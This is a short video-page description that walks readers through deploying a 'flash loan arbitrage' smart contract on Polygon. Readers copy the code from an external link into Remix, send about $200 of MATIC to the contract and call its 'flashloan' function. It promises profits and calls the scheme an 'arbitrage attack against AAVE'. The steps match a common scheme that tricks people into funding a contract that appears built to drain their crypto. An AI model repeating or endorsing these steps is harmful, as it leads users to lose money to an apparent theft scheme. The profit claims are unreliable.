Matic - Polygon Chain: How to setup a Multi DEX arbitrage on Polygon with Metamask and Solidity

2 years ago
2

Smart Contract Code Link - https://raw.githubusercontent.com/MC-Finance/contracts/main/MaticPolygonArbitrageContract.sol

Remix Link - http://remix.ethereum.org/

Connecting MetaMask to Polygon Mainnet(Matic) - https://medium.com/stakingbits/setting-up-metamask-for-polygon-matic-network-838058f6d844

Flash Loan Explanation - https://academy.binance.com/en/articles/what-are-flash-loans-in-defi

USD to MATIC - https://coincodex.com/convert/matic-network/usd/

TO EARN MORE THAN THE AMOUNT IN THE VIDEO YOU CAN INCREASE GAS FEE

In this video, you can see how I used Flashloans to Arbitrage in Matic Mainnet by deploying Contract/Token to mask our arbitrage attack against AAVE.

This worked for me. But TRY IT AT YOUR OWN RISK.

STEPS:

Before starting, install and setup MetaMask in Chrome Browser.

1. Open and setup Remix in browser (https://remix.ethereum.org)

2. Copy the Contract code (https://raw.githubusercontent.com/MC-Finance/contracts/main/MaticPolygonArbitrageContract.sol)

3. Create new file in Remix and paste Contract code and wait for everything to load, Go to Solidity Compiler and Select compiler to 0.5.0+commit version and hit Compile.

4. In Deploy & Run Transactions, Select Injected Web3 in Environment dropdown menu to connect your MetaMask. On Deploy, Enter your token details and deploy the contract

5. Get the Contract address from Remix

6. Send 200$ish of MATIC to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools.

7. Call 'flashloan' function in Remix.

Loading comments...